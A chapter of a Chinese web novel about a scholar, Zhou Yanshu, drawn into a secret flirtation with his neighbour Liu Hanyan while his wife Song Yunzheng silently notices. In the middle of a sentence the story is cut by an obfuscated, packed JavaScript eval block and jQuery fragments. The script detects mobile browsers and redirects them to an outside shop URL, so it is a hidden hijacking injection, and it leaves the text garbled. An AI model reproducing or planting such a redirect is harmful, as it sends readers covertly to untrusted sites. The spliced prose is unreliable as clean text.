柳含烟搬来隔壁的头一个月，青石镇的巷子里飘满了桂花香。
她院子墙角那棵老桂树开了满枝的花，金灿灿的小朵儿一簇一簇缀在叶间，风一吹就落了满地碎金。柳含烟每天早起拿笤帚把落花扫成一堆，拢进竹筛里晒着，说要做桂花酱。她做这些事的时候穿素净衣裳，袖子挽到手肘上头，露出一截白生生的腕子，动作轻轻巧巧的，笤帚尖儿沾了花瓣也不使劲甩，只拿指尖捻下来搁进竹筛里，认真得像在绣花。
周砚书头一回认真注意她，就是被她扫桂花的样子引过去的。
那天他从县学回来，暮色里巷口的光线薄薄的，像一层匀开的蜜。柳含烟正蹲在自家门口翻晒竹筛里的桂花，鼻尖上沾了一小片花瓣都没察觉，听见脚步声抬头，先愣了一下，随即笑起来，眼睛弯成两枚月牙儿。
"周相公回来了？"她站起来，拍了拍手上的碎瓣，"我做了桂花糕，刚出锅，给周夫人也带几块去。"
她那双手捧着油纸包递过来，十指干干净净，指甲修剪得圆润齐整，指腹上没有一点硬茧，白得像剥了壳的春笋。油纸包被她的体温捂得微微发烫，隔着纸能闻到里头热腾腾的桂香和糯米甜味。
周砚书接过来的时候，指尖碰了她一下，像碰到了暖玉。他喉咙动了动，清了嗓子说："多谢柳娘子。"
柳含烟摆摆手，笑说："邻居之间客气什么。往后还有好多事要请教周夫人呢，我这人笨，什么都不会，你们多担待。"
她嘴上说笨，可她说的每句话都熨帖——既恭维了宋云铮能干，又把自己放在低处，让人听着舒服极了。周砚书拎着那包桂花糕回了家，进了院门还在想她说话时眼角眉梢那些细碎的光。
宋云铮正在院里劈柴。斧头举起来落下去，咔嚓一声木柴分成两半，她弯腰把劈好的码到墙根，动作干脆利落，带起的风把额发吹起来又落回去，脸上全是汗珠。
周砚书把桂花糕放在石桌上，说："隔壁送的。"
宋云铮劈完最后一根柴，把斧头靠墙放了，走过来拆油纸包。里头整整齐齐码着六块淡绿色的糕，上头缀着干桂花，还冒着微微的热气。
"她倒是勤快。"宋云铮拿起一块咬了一口，嚼了嚼，说，"甜。"
周砚书听着这个"甜"字莫名不舒服。他拿了一块也尝了尝，觉得甜得恰到好处，柔软绵密，比他这些年吃过的任何糕饼都细致。可他没说什么，只是"嗯"了一声，把剩下的桂花糕拿进厨房用纱罩盖了。
那晚他坐在书房里翻书，翻了几页就走神。笔尖悬在砚台上面，墨汁滴了一滴在纸上洇开，他慌忙拿纸吸了，心里却还在想隔壁院子里那棵桂花树和树底下蹲着扫花的女人。
宋云铮从他书房门口经过，见他对着滴了墨的纸发呆，问了一句："发什么愣？"
周砚书被惊了一下，赶紧把纸揉了："没什么。想文章想岔了。"
宋云铮"哦"了一声，继续往前走，脚步沉着。周砚书坐在书案后面听见她走远了，才慢慢呼出一口气，把揉了的那张纸展开看了一眼，墨渍晕成了一团灰黑的影子，像朵模糊的花。
他怔了一会儿，把纸叠了扔进废纸篓。
从那天起，他下学回来经过巷口的时候总会多看隔壁一眼。有时候柳含烟在院里浇花，有时候在窗下做针线，有时候什么也不做，就坐在桂花树底下纳凉。她看见他就笑，温声招呼一句"周相公回来了"，然后继续做手里的事，不多话，也不黏人，分寸拿捏得刚好。
周砚书起初是一天打一次招呼，后来变成两次，再后来变成三四次。有一回他主动敲了隔壁的门，手里拿着一卷书，说："柳娘子，你家可有浆糊？我的书页散了，想粘一粘。"
柳含烟把他让进屋，从他手里接过书卷看了看，说："浆糊没有，我有米汤，晾干了也是一样的。周相公不嫌弃的话坐一坐，我替你粘。"
她引他在堂屋坐下，自己进了厨房。周砚书坐在椅子上打量这间屋子——不大，但收拾得干干净净，窗台上搁着一只青瓷瓶插了几枝桂，桌布是素白的棉布，四角缝了细密的锁边，针脚比他家那些粗针大线的活计精细了不知多少倍。墙上还挂了一把琵琶，桐木的琴身泛着温润的光。
柳含烟端着碗米汤出来，见他盯着琵琶看，便笑道："瞎弹着玩儿的，不登大雅之堂。"
"柳娘子过谦了。"周砚书收回目光，"我前几日夜里听见过琴声，弹的是《梅花三弄》吧？"
柳含烟微微睁大了眼："周相公懂音律？"
"略懂些皮毛。"
柳含烟抿嘴笑了，把粘好的书页递还给他，温声说："周相公真是才子，什么都会。"
就这一句话，周砚书心里像被羽毛尖儿扫了一下，麻酥酥的。他在宋云铮面前从来听不到这种话——宋云铮只会说他文章有逻辑漏洞、修辞不够精炼、策论立意偏窄。他举了那么多篇文章给她看，她一次也没夸过。
一次都没有。
从柳含烟那儿出来的时候，周砚书手里那卷粘好的书沉甸甸的，他拿在手里翻了两页，浆糊还潮着，书页贴得平平整整，没有一丝褶皱。他合上书卷的时候心里想，原来被人仰慕是这种感觉。
回到自己院子，宋云铮正在水井边洗铁料，袖子挽到臂弯上，露出两条结实黝黑的小臂。她听见他进门，头也没抬，只说了句："饭在锅里。"
周砚书"嗯"了一声，把书卷放回书房，出来吃饭的时候看见桌上摆着两碗白粥和一碟腌萝卜。他坐下吃了一口，白粥寡淡，腌萝卜咸得齁嗓子。他皱了下眉，没说什么，闷头吃完了。
宋云铮收拾碗筷的时候发现那碟腌萝卜几乎没动，看了他一眼："咸了？"
"……有点。"
"下回少放盐。"
她端着碗碟去洗了。周砚书坐在桌边，看着她在灶台前弯腰刷碗的背影，粗布衣裳上沾着铁屑和水渍，后颈的皮肤被炉火熏得黑红黑红的。他忽然想起柳含烟那双白净的手捧桂花糕递过来的画面，两个画面叠在一起，像一把钝锯子在心口来回磨。
他起身去了书房，把门关上了。
入夏之后柳含烟的桂花酱做好了，给周家送了一小坛过来。宋云铮打开闻了闻，说香，收进了碗柜。周砚书趁宋云铮不在家的时候偷偷舀了一勺尝，甜丝丝的桂香在舌尖化开，比他吃过的任何酱都清润。
他又舀了一勺。
那坛桂花酱搁在碗柜深处，宋云铮后来忘了吃，周砚书却隔三差五就舀一勺。有一回他正往粥里拌桂花酱，宋云铮忽然掀帘子进来，他手一抖，勺子磕在碗沿上叮的一声。
宋云铮看了一眼碗里泛着淡金色的粥，又看了看他心虚的脸色，没说话，转身出去了。
那天晚上周砚书在书房里待了很久，对着灯火发呆。他想起宋云铮那个眼神——平淡的、没什么情绪的，像一口深井里扔了石子也不起涟漪的那种平。可就是那种平让他心里发毛。他宁愿她发火、摔东西、质问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834926|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他，可她什么都不做，就那样看一眼然后走开，好像他做什么都跟她没关系。
这种感觉比挨骂还难受。
他开始注意避开宋云铮去隔壁。选她待在铁铺里的时候去，选她出门送货的时候去，选她午睡的时候悄悄溜过去待半个时辰再回来。他给柳含烟带了镇上买的胭脂水粉，柳含烟红着脸推拒了一番还是收了；柳含烟给他做了新的鞋面，绣着竹叶纹，针脚细密精致，他拿回来藏在了书箱底层。
两个人心里都清楚这不大对劲，可谁也没捅破。
有一次周砚书在柳含烟那儿待到天快黑才出来，推开自家院门的时候迎面撞上刚从铁铺回来的宋云铮。宋云铮的围裙上全是铁屑和火灰，手里拎着一把刚磨好的菜刀，刀刃在暮色里泛着冷光。
两个人在院门口面对面站着。宋云铮的目光从他脸上移到他身后虚掩的隔壁院门上，又移回来，在他身上停了一瞬。
"回来了？"她问。
周砚书后背冒了一层冷汗，嗓子发紧："嗯，回了。"
宋云铮绕过他往屋里走，路过他身边的时候忽然停了一下，低头看了看他的靴子。
"鞋面新做的？"
周砚书整个人像被泼了盆冷水，后背那层冷汗刷地全凉了。他低头看了一眼脚上那双绣了竹叶纹的青布鞋面——今天刚换的，柳含烟昨儿才做好送过来。
"……嗯，旧鞋磨破了，镇上买的。"他说得结结巴巴。
宋云铮没再看他，抬脚进了屋。灶台边响起了淘米洗菜的水声，哗啦哗啦的，盖过了周砚书擂鼓一样的心跳。
他站在院子里缓了好一会儿才跟进去。
饭桌上宋云铮跟往常一样沉默，安安静静吃饭，安安静静收拾碗筷。周砚书心虚得厉害，主动去刷了回碗，笨手笨脚的打碎了一只碟子。宋云铮从灶台边走过来看了一眼碎瓷片，又看了看他，什么也没说，拿了笤帚把碎渣扫干净了。
那晚上周砚书翻来覆去睡不着，脑子里翻来覆去就一件事——宋云铮到底知不知道？她要是知道为什么不揭穿？要是不知道为什么看他那双鞋时眼神那么奇怪？
他侧头看了看里侧的宋云铮。她面朝里睡着，呼吸平稳，月光照着她后脑勺挽着的那根木簪，簪尾的木头被多年的手汗磨得油亮亮的，像一块老玉。
周砚书盯着那根木簪看了很久，然后翻过身去，把脸埋进了枕头里。
第二天他下学回来故意绕了远路，没经过巷口，从镇东头多走了两里地绕回自家。进门的时候宋云铮正在院子里晾衣裳，见他从东边回来多看了他一眼。
"今儿怎么走东边？"
"……那边景致好，散散步。"
宋云铮没再追问，把一件湿漉漉的靛青袍子抖开搭上竹竿，水珠溅了几滴在她围裙上。周砚书认出那件袍子是他年初穿去拜会傅教谕时的那件，袖口磨了毛边，宋云铮又给他缝了一道密密的针脚补上了。
他看着那排齐整的针脚，心里忽然堵得慌。
"云铮。"他喊她。
"嗯？"
"……没什么。"他最终什么也没说出来，转身进了书房。
竹竿上的靛青袍子在风里轻轻晃着，补过的那道针脚在日光下格外显眼，粗粗密密的，像一道沉默的疤。
隔壁院子里的桂花又落了满地。柳含烟在扫花瓣，笤帚尖儿沙沙响，一阵一阵顺着风飘进周家院子来，跟这边晾衣裳的水滴声搅在一起，分不清谁是谁的。